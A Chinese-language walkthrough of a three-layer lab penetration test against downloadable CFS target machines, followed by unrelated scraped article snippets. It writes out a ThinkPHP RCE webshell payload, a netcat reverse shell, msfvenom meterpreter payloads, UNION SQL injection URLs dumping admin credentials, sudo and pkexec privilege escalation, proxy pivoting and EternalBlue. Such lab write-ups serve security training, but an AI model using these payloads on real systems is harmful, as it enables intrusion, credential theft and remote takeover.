前言

在渗透中遇到内网主机是一层接一层的拓扑形式,可以采用多层代理加路由转发访问,便于在渗透中出现网段隔绝可以使用此方法跳出局限

实验环境

kali: 192.168.75.131

target-centos7: 网卡1 192.168.75.132 网卡2 192.168.22.128

target-ubuntu: 网卡1 192.168.22.129 网卡2 192.168.33.128

target-win7: 网卡1 192.168.33.33

三台靶机链接地址:https://pan.baidu.com/s/1ot1S1ou_-dofsZQ9c0dtYg?pwd=38gx

下载到本机后,打开cmd 将所有文件合成为一个,命令如下

copy /b CFS三层靶机环境.7z* CFS.7z

拿到压缩包,解压密码为teamssix.com

linux靶机账号密码均为 root teamssix.com

windows靶机密码为teamssix.com

环境搭建

先配置VMware网卡 三个网卡添加方式都一样,都是仅主机模式

导入三台靶机

第一台靶机查看到有ip出现,物理机直接访问 http://192.168.75.132:8888/a768f109

账号 eaj3yhsl 密码 41bb8fee

设置成功,物理机访问http://192.168.75.132 显示如下说明搭建成功

第二台靶机 查看到ip 物理机访问http://192.168.22.129:8888/2cc52ec0

账号 xdynr37d 密码 123qwe..

设置成功,物理机访问 http://192.168.22.129 显示如下说明搭建成功

第三台靶机 导入,修改网卡并登陆 登陆密码 teamssix.com

除此之外,kali主机也要设置网卡网段与第一台靶机的网卡1同网段

进入interfaces修改网络配置

vi /etc/network/interfaces

温馨提示:这里搭建完三台靶机,建议进行快照,否则三台靶机同时运行容易崩溃,挂起之后就会崩溃,ip会无法识别

渗透部分

首先使用nmap扫描ip

nmap 192.168.75.132 -O -sV

得到一个thinkphp v5的首页,二话不说直接开启dirsearch扫描

python dirsearch.py -u http://192.168.75.132/ -e* //python是用python3,这里我自己改过

仅仅只有三个目录,index.php就是当前访问的页面,我们查看robots.txt

一般robots.txt都会隐藏一些不可爬取的目录

但这里发现除了一个flag没有其他的信息,那就只能继续从index.php入手了,而且favicon.ico只是一个图像,没有可用信息

这里我们尝试xray工具去扫描存在什么漏洞,在浏览器配置代理ip为127.0.0.1,端口为8888(端口随意,但要跟xray监听端口一致),配置完浏览器,开启xray监听,再刷新页面就可以扫描了

发现是一个thinkphp v5的远程命令执行漏洞,且漏洞就在index.php,这里暂时不访问漏洞链接,里边是一个大佬写的poc

紧接着,我们不知道他的get参数,可以使用kali的wfuzz进行爆破参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --sc 404 http://192.168.75.132/?FUZZ=id

//-c 是显示颜色,-w是使用字典,--sc 404是将响应码为404的参数显示出来,FUZZ是爆破参数,参数后面跟着id是因为远程命令执行时可用直接使用id查看用户uid和guid

爆破出一个404响应码的s参数,接下来构造poc

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>

显示如下就写入一句话成功,然后使用蚁剑连接

拿到webshell后进入后台终端,使用nc -v尝试是否有可执行的nc,不用不知道,一用吓一跳,真有nc可用,那么我们就直接尝试用nc来端口转发,将后台终端转发到我们的kali上,方便后续提权

kali开启监听,后台终端连接并弹shell

kali: nc -lvnp 6666 后台: nc 192.168.75.131 6666 -e /bin/bash

查看可执行权限 find / -perm -4000 2>/dev/null

使用脚本扫描信息得出,有一个sudoedit -s /的漏洞 sudo 转义了反斜杠,但是sudoedit并没有导致了漏洞的出现 cve-2021-3156

脚本链接:https://github.com/Realradioactive/archive-linux-exploit-suggester-master

直接下载CVE-2021-3156的脚本执行,脚本利用sudoedit -s /的漏洞,写入一个密码为gg的用户gg,权限为root

由于我们这里要用msf来多层代理入侵,所以可以采用生成后门木马,上传到网站后台执行,上面nc是用来提权

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.75.131 LPORT=1111 -f elf > shell.elf

use exploit/mutli/handler
set lport 1111
set lhost 192.168.75.131
set payload linux/x64/meterpreter/reverse_tcp

查看到有两个网卡信息,由于我们现在已经在第一台靶机后台,我们没办法让第二台靶机反连我们,只能我们去直连,必需先设置去往下一台靶机的路由

run autoroute -s 192.168.22.0/24

开启msf代理模块,设置代理端口和代理版本为socks4

use auxiliary/server/socks_proxy
set srvport 2222
set version 4a
run

设置/etc/proxychains4.conf

vi /etc/proxychains.conf

192.168.75.131 2222

使用代理加nmap扫描 192.168.22.129 第二台靶机

给kali火狐添加刚刚配置的代理ip和端口,然后访问192.168.22.129

这里查看robots.txt发现有一个提示是 index.php?r=admini* ,可能是网站后台登录管理

网站提示 漏洞点在 /index.php?r=vul&keyword=1 而且是一个SQL注入

尝试闭合,发现有报错,再构造 ' and 1=1%23发现界面没报错了(自行尝试)

这里的字段,我尝试了发现有39个,让我有点震惊,这里我优先选择尝试union查询,poc如下:

查数据库
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,database()%23
查表
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
查字段
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27bage_admin%27%23
查数据
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,0x5c,username,0x5c,password)%20from%20bage_admin%23

这里得到了一串加密的密码,直接md5解密得到密码是 123qwe,直接登录后台

进入后台模板发现可以给index.php文件写入,直接在index.php构造一个一句话木马,而后使用蚁剑连接,如果是真实渗透,需要配置代理连接

连接成功后,直接msf生成后门木马,开启监听连接,注意:这里msfconsole也要开代理进入

msf生成病毒
msfvenom -p linux/x64/meterpreter/bind_tcp rhost=192.168.22.129 LPORT=4444 -f elf > test.elf
msf开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.22.129
run

进入shell 优化窗口 python -c "import pty;pty.spawn('/bin/bash')"

这里节省时间,直接下载第二台靶机的漏洞利用脚本 CVE-2021-4034

这个漏洞原理是:

Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。

该漏洞是由于pkexec在处理传入参数的逻辑出现问题,导致环境变量被污染,最终交由pkexec代码逻辑执行实现客户机权限提升。有普通权限用户的攻击者通过执行漏洞文件,触发越界读写,从而在目标系统上造成权限提升

详细讲解可参考这个师傅 https://www.cnblogs.com/vpandaxjl/p/15858288.html

提权成功,返回meterpreter界面,添加192.168.33.0网段的路由

再次配置代理,端口不能一样

use auxiliary/server/socks_proxy
set srvport 3333
set version 4a
run

proxychains4 nmap -Pn -sT 192.168.33.33

有445端口,猜测是有文件共享服务的,可能是一个windows操作系统

使用msf扫描模块 检测一下

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.33.33
set threads 10
run

查看到是window7系统,直接使用永恒之蓝渗透

search ms17-010
use 1
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.33.33
run

宝塔渗透之msf代理入侵的更多相关文章

  1. 20145320 《网络渗透》MSF基础应用

    20145320 <网络渗透>MSF基础应用 1.实验后回答问题 exploit 攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击.主要分为主动攻击和被动攻击.像我们这次做的实 ...

  2. 20145319 《网络渗透》MSF基础应用

    20145319 <网络渗透>MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS11_050渗透实验 渗透实验三:Adobe阅读器渗透实验 渗透实验四:M ...

  3. 20145211《网络渗透》msf辅助模块的应用

    20145211<网络渗透>msf辅助模块的应用 一.实验准备 启用VB的kali,需要用到桥接,VMware桥接总是罢工…… 二.实验步骤 最好开桥接模式,要不然你就多开几个虚拟机(只要 ...

  4. 渗透之——MSF提权

    在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的! 我们先用msfvenom生成一个EXE的木马后门. ms ...

  5. 【内网渗透】MSF的exploit和pyload的基础使用

    1.连接MSF root@kali:~# msfconsole 2.显示所有攻击模块 msf > show exploits |more 3.寻找攻击模块 msf > search ms0 ...

  6. hw从外网到内网的渗透姿势分享

    现在这段时间是全员 hw 时期,刚好前几天也有幸参与了某个地方的 hw 行动,作为攻击方,这里就简单总结一下最近挖洞的思路吧.因为可能怕涉及到敏感的东西,这里就有的地方不会细说了. 因为本人比较菜,所 ...

  7. 渗透测试实例Windows XP SP2

    一.msf> use exploit/windows/dcerpc/ms03_026_dcom.看到命令提示符的改变表明该命令已经运行成功. 二.为漏洞利用代码设置必要的参数,show opti ...

  8. BurpSuite 代理设置的小技巧

    原文:https://www.anquanke.com/post/id/85925 作者:三思之旅 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 在We ...

  9. 【技术分享】BurpSuite 代理设置的小技巧

    作者:三思之旅 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 在Web渗透测试过程中,BurpSuite是不可或缺的神器之一.BurpSuite的核心是 ...

  10. ew代理实战

    前言 渗透内网代理必不可少,本文做个记录 正文 工具下载地址 http://rootkiter.com/EarthWorm/ ssocksd开启 socks5 代理 环境 代理:192.168.211 ...

随机推荐

  1. 如何生成均匀随机数 C++

    #include <iostream> #include <fstream> #include <cstdlib> #include <ctime> u ...

  2. CentOS 7.9 安装 rocketmq-4.9.2

    一.CentOS 7.9 安装 rocketmq-4.9.2 地址: https://rocketmq.apache.org https://github.com/apache/rocketmq ht ...

  3. 洛谷P1950 长方形(单调栈)

    一道单调栈的好题啊...... 思路是很奇妙的,对于每个点(i,j),我们可以算它对答案的贡献(即包含它的矩形数量),包含该点的矩形,点的高度为h[j],点右边的高度一定大于等于h[j],左边的高度一 ...

  4. SpringBoot(五) - Java8 新特性

    1.Lambda表达式 Lambda 是一个匿名函数,我们可以把 Lambda 表达式理解为是一段可以传递的代码(将代码像数据一样进行传递).使用它可以写出更简洁.更灵活的代码.作为一种更紧凑的代码风 ...

  5. Error creating bean with name ‘com.ai.ecs.ecop.pointExchange.service.NewGoodsService‘

    Error creating bean with name 'com.ai.ecs.ecop.pointExchange.service.NewGoodsService' 查看服务注册中心的格式是否正 ...

  6. 使用dotnet-monitor sidecar模式 dump docker运行的dotnet程序.

    前情概要 随着容器和云技术的发展, 大量的应用运行在云上的容器中, 它们的好处是毋庸置疑的, 例如极大的提高了我们的研发部署速度, 快速的扩缩容等等, 但是也存在一些小小的问题, 例如难以调试. 基于 ...

  7. kubelet忽然不可用

    原因,有可能机器的cpu信息有变化(扩容或者缩容)解决办法: 删掉/opt/var/lib/kubelet目录下(或者/data/lib/kubelet)cpu_manager_state文件 然后m ...

  8. javascript异步编程,promise概念

    javascript 异步编程 概述 采用单线程模式工作的原因: 避免多线dom操作同步问题,javascript的执行环境中负责执行代码的线程只有一个 内容概要 同步模式和异步模式 事件循环和消息队 ...

  9. node 学习笔记 模块和包的管理与使用

    1.前言 对于各种编程语言,代码组织是很重要的.而模块是node中的代码组织机制,node中的很多功能都以模块划分,而模块中又封装了许多方法,而且不会改变全局作用域,极大的方便了各开发者的需求. 2. ...

  10. javax.script.ScriptException: Cannot find engine named: 'nashorn', ensure you set language field in JSR223 Test Element: JSR223 预处理程序

    jmeter运行脚本报错,跟java版本有关,做个记录. 1. 问题记录: 执行登录接口测试,登录失败.点击jmeter右上角[黄色!],查看错误日志.显示如下: 2022-09-23 10:29:5 ...